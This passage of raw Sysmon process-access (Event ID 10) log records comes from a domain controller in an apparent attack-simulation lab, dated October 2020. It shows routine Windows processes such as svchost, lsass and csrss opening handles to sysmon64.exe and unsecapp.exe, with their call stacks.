10341000x800000000000000034Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:38.783{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x800000000000000033Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:38.783{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x800000000000000032Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:38.783{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x800000000000000031Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:38.783{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x800000000000000030Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:38.783{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x800000000000000029Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:38.783{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x800000000000000028Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:38.783{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x800000000000000027Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:38.783{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x800000000000000026Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:38.783{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x800000000000000025Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:38.783{A5F018FF-272B-5F80-0B00-000000007E01}860928C:\Windows\system32\lsass.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+25d17|C:\Windows\system32\lsasrv.dll+26ded|C:\Windows\system32\lsasrv.dll+25b95|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x800000000000000024Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:38.783{A5F018FF-272B-5F80-0B00-000000007E01}860928C:\Windows\system32\lsass.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\System32\RPCRT4.dll+112df|C:\Windows\system32\lsasrv.dll+25add|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x800000000000000023Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:38.768{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x800000000000000022Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:38.768{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x800000000000000021Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:38.768{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x800000000000000020Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:38.768{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x800000000000000019Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:38.768{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x800000000000000018Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:38.768{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x800000000000000017Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:38.768{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x800000000000000016Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:38.768{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x800000000000000015Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:38.768{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x800000000000000014Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:38.768{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x800000000000000013Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:38.768{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x800000000000000012Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:38.768{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x800000000000000011Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:38.736{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F502-000000007E01}4552C:\Windows\system32\wbem\unsecapp.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5296|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x800000000000000010Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:38.736{A5F018FF-2724-5F80-0500-000000007E01}6402972C:\Windows\system32\csrss.exe{A5F018FF-2896-5F80-F502-000000007E01}4552C:\Windows\system32\wbem\unsecapp.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000009Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 